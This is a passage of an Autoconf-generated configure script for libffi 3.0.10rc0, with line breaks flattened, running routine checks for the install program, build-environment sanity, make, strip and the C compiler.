"$program_prefix$program_suffix$program_transform_name" = \ NONENONEs,x,x, && program_prefix=${target_alias}- target_alias=${target_alias-$host_alias} . ${srcdir}/configure.host am__api_version='1.11' # Find a good install program. We prefer a C program (faster), # so one script is as good as another. But avoid the broken or # incompatible versions: # SysV /etc/install, /usr/sbin/install # SunOS /usr/etc/install # IRIX /sbin/install # AIX /bin/install # AmigaOS /C/install, which installs bootblocks on floppy discs # AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag # AFS /usr/afsws/bin/install, which mishandles nonexistent args # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" # OS/2's system install, which has a completely different semantic # ./install, which can be erroneously created by make from ./install.sh. # Reject install programs that cannot install multiple files. { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a BSD-compatible install" >&5 $as_echo_n "checking for a BSD-compatible install... " >&6; } if test -z "$INSTALL"; then if test "${ac_cv_path_install+set}" = set; then : $as_echo_n "(cached) " >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. # Account for people who put trailing slashes in PATH elements. case $as_dir/ in #(( ./ | .// | /[cC]/* | \ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ ?:[\\/]os2[\\/]install[\\/]* | ?:[\\/]OS2[\\/]INSTALL[\\/]* | \ /usr/ucb/* ) ;; *) # OSF1 and SCO ODT 3.0 have their own names for install. # Don't use installbsd from OSF since it installs stuff as root # by default. for ac_prog in ginstall scoinst install; do for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; }; then if test $ac_prog = install && grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # AIX install. It has an incompatible calling convention. : elif test $ac_prog = install && grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # program-specific install script used by HP pwplus--don't use. : else rm -rf conftest.one conftest.two conftest.dir echo one > conftest.one echo two > conftest.two mkdir conftest.dir if "$as_dir/$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir" && test -s conftest.one && test -s conftest.two && test -s conftest.dir/conftest.one && test -s conftest.dir/conftest.two then ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" break 3 fi fi fi done done ;; esac done IFS=$as_save_IFS rm -rf conftest.one conftest.two conftest.dir fi if test "${ac_cv_path_install+set}" = set; then INSTALL=$ac_cv_path_install else # As a last resort, use the slow shell script. Don't cache a # value for INSTALL within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the value is a relative name. INSTALL=$ac_install_sh fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $INSTALL" >&5 $as_echo "$INSTALL" >&6; } # Use test -z because SunOS4 sh mishandles braces in ${var-val}. # It thinks the first close brace ends the variable substitution. test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether build environment is sane" >&5 $as_echo_n "checking whether build environment is sane... " >&6; } # Just in case sleep 1 echo timestamp > conftest.file # Reject unsafe characters in $srcdir or the absolute working directory # name. Accept space and tab only in the latter. am_lf=' ' case `pwd` in *[\\\"\#\$\&\'\`$am_lf]*) as_fn_error "unsafe absolute working directory name" "$LINENO" 5;; esac case $srcdir in *[\\\"\#\$\&\'\`$am_lf\ \ ]*) as_fn_error "unsafe srcdir value: \`$srcdir'" "$LINENO" 5;; esac # Do `set' in a subshell so we don't clobber the current shell's # arguments. Must try -L first in case configure is actually a # symlink; some systems play weird games with the mod time of symlinks # (eg FreeBSD returns the mod time of the symlink's containing # directory). if ( set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` if test "$*" = "X"; then # -L didn't work. set X `ls -t "$srcdir/configure" conftest.file` fi rm -f conftest.file if test "$*" != "X $srcdir/configure conftest.file" \ && test "$*" != "X conftest.file $srcdir/configure"; then # If neither matched, then we have a broken ls. This can happen # if, for instance, CONFIG_SHELL is bash and it inherits a # broken ls alias from the environment. This has actually # happened. Such a system could not be considered "sane". as_fn_error "ls -t appears to fail. Make sure there is not a broken alias in your environment" "$LINENO" 5 fi test "$2" = conftest.file ) then # Ok. : else as_fn_error "newly created file is older than distributed files! Check your system clock" "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } test "$program_prefix" != NONE && program_transform_name="s&^&$program_prefix&;$program_transform_name" # Use a double $ so make ignores it. test "$program_suffix" != NONE && program_transform_name="s&\$&$program_suffix&;$program_transform_name" # Double any \ or $. # By default was `s,x,x', remove it if useless. ac_script='s/[\\$]/&&/g;s/;s,x,x,$//' program_transform_name=`$as_echo "$program_transform_name" | sed "$ac_script"` # expand $ac_aux_dir to an absolute path am_aux_dir=`cd $ac_aux_dir && pwd` if test x"${MISSING+set}" != xset; then case $am_aux_dir in *\ * | *\ *) MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; *) MISSING="\${SHELL} $am_aux_dir/missing" ;; esac fi # Use eval to expand $SHELL if eval "$MISSING --run true"; then am_missing_run="$MISSING --run " else am_missing_run= { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`missing' script is too old or missing" >&5 $as_echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;} fi if test x"${install_sh}" != xset; then case $am_aux_dir in *\ * | *\ *) install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; *) install_sh="\${SHELL} $am_aux_dir/install-sh" esac fi # Installed binaries are usually stripped using `strip' when the user # run `make install-strip'. However `strip' might not be the right # tool to use in cross-compilation environments, therefore Automake # will honor the `STRIP' environment variable to overrule this program. if test "$cross_compiling" != no; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. set dummy ${ac_tool_prefix}strip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_STRIP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$STRIP"; then ac_cv_prog_STRIP="$STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_STRIP="${ac_tool_prefix}strip" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi STRIP=$ac_cv_prog_STRIP if test -n "$STRIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 $as_echo "$STRIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_STRIP"; then ac_ct_STRIP=$STRIP # Extract the first word of "strip", so it can be a program name with args. set dummy strip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_STRIP"; then ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_STRIP="strip" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP if test -n "$ac_ct_STRIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 $as_echo "$ac_ct_STRIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_STRIP" = x; then STRIP=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac STRIP=$ac_ct_STRIP fi else STRIP="$ac_cv_prog_STRIP" fi fi INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a thread-safe mkdir -p" >&5 $as_echo_n "checking for a thread-safe mkdir -p... " >&6; } if test -z "$MKDIR_P"; then if test "${ac_cv_path_mkdir+set}" = set; then : $as_echo_n "(cached) " >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in mkdir gmkdir; do for ac_exec_ext in '' $ac_executable_extensions; do { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; } || continue case `"$as_dir/$ac_prog$ac_exec_ext" --version 2>&1` in #( 'mkdir (GNU coreutils) '* | \ 'mkdir (coreutils) '* | \ 'mkdir (fileutils) '4.1*) ac_cv_path_mkdir=$as_dir/$ac_prog$ac_exec_ext break 3;; esac done done done IFS=$as_save_IFS fi test -d ./--version && rmdir ./--version if test "${ac_cv_path_mkdir+set}" = set; then MKDIR_P="$ac_cv_path_mkdir -p" else # As a last resort, use the slow shell script. Don't cache a # value for MKDIR_P within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the value is a relative name. MKDIR_P="$ac_install_sh -d" fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MKDIR_P" >&5 $as_echo "$MKDIR_P" >&6; } mkdir_p="$MKDIR_P" case $mkdir_p in [\\/$]* | ?:[\\/]*) ;; */*) mkdir_p="\$(top_builddir)/$mkdir_p" ;; esac for ac_prog in gawk mawk nawk awk do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_AWK+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$AWK"; then ac_cv_prog_AWK="$AWK" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_AWK="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi AWK=$ac_cv_prog_AWK if test -n "$AWK"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AWK" >&5 $as_echo "$AWK" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$AWK" && break done { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} sets \$(MAKE)" >&5 $as_echo_n "checking whether ${MAKE-make} sets \$(MAKE)... " >&6; } set x ${MAKE-make} ac_make=`$as_echo "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` if { as_var=ac_cv_prog_make_${ac_make}_set; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else cat >conftest.make <<\_ACEOF SHELL = /bin/sh all: @echo '@@@%%%=$(MAKE)=@@@%%%' _ACEOF # GNU make sometimes prints "make[1]: Entering...", which would confuse us. case `${MAKE-make} -f conftest.make 2>/dev/null` in *@@@%%%=?*=@@@%%%*) eval ac_cv_prog_make_${ac_make}_set=yes;; *) eval ac_cv_prog_make_${ac_make}_set=no;; esac rm -f conftest.make fi if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } SET_MAKE= else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } SET_MAKE="MAKE=${MAKE-make}" fi rm -rf .tst 2>/dev/null mkdir .tst 2>/dev/null if test -d .tst; then am__leading_dot=. else am__leading_dot=_ fi rmdir .tst 2>/dev/null if test "`cd $srcdir && pwd`" != "`pwd`"; then # Use -I$(srcdir) only when $(srcdir) != ., so that make's output # is not polluted with repeated "-I." am__isrc=' -I$(srcdir)' # test to see if srcdir already configured if test -f $srcdir/config.status; then as_fn_error "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 fi fi # test whether we have cygpath if test -z "$CYGPATH_W"; then if (cygpath --version) >/dev/null 2>/dev/null; then CYGPATH_W='cygpath -w' else CYGPATH_W=echo fi fi # Define the identity of the package. PACKAGE='libffi' VERSION='3.0.10rc0' cat >>confdefs.h <<_ACEOF #define PACKAGE "$PACKAGE" _ACEOF cat >>confdefs.h <<_ACEOF #define VERSION "$VERSION" _ACEOF # Some tools Automake needs. ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} # We need awk for the "check" target. The system "awk" is bad on # some platforms. # Always define AMTAR for backward compatibility. AMTAR=${AMTAR-"${am_missing_run}tar"} am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -' # The same as in boehm-gc and libstdc++. Have to borrow it from there. # We must force CC to /not/ be precious variables; otherwise # the wrong, non-multilib-adjusted value will be used in multilibs. # As a side effect, we have to subst CFLAGS ourselves. # Also save and restore CFLAGS, since AC_PROG_CC will come up with # defaults of its own if none are provided. save_CFLAGS=$CFLAGS ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="${ac_tool_prefix}gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_CC="gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="${ac_tool_prefix}cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl.exe do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl.exe do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_CC="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$ac_ct_CC" && break done if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi fi fi test -z "$CC" && { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "no acceptable C compiler found in \$PATH See \`config.log' for more details." "$LINENO" 5; } # Provide some information about the compiler. $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 set X $ac_compile ac_compiler=$2 for ac_option in --version -v -V -qversion; do { { ac_try="$ac_compiler $ac_option >&5" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compiler $ac_option >&5") 2>conftest.err ac_status=$? if test -s conftest.err; then sed '10a\ ... rest of stderr output deleted ... 10q' conftest.err >conftest.er1 cat conftest.er1 >&5 fi rm -f conftest.er1 conftest.err $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } done cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 $as_echo_n "checking whether the C compiler works... " >&6; } ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` # The possible output files: ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" ac_rmfiles= for ac_file in $ac_files do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; * ) ac_rmfiles="$ac_rmfiles $ac_file";; esac done rm -f $ac_rmfiles if { { ac_try="$ac_link_default" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link_default") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. # So ignore a value of `no', otherwise this would lead to `EXEEXT = no' # in a Makefile. We should not override ac_cv_exeext if it was cached, # so that the user can short-circuit this test for compilers unknown to # Autoconf. for ac_file in $ac_files '' do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; then :; else ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` fi # We set ac_cv_exeext here because the later test for it is not # safe: cross compilers may not add the suffix if given an `-o' # argument, so we may need to know it at that point already. # Even if this section looks crufty: it has the advantage of # actually working. break;; * ) break;; esac done test "$ac_cv_exeext" = no && ac_cv_exeext= else ac_file='' fi if test -z "$ac_file"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { as_fn_set_status 77 as_fn_error "C compiler cannot create executables See \`config.log' for more details." "$LINENO" 5; }; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 $as_echo_n "checking for C compiler default output file name... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 $as_echo "$ac_file" >&6; } ac_exeext=$ac_cv_exeext rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 $as_echo_n "checking for suffix of executables... " >&6; } if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` break;; * ) break;; esac done else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." "$LINENO" 5; } fi rm -f conftest conftest$ac_cv_exeext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 $as_echo "$ac_cv_exeext" >&6; } rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { FILE *f = fopen ("conftest.out", "w"); return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF ac_clean_files="$ac_clean_files conftest.out" # Check that the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 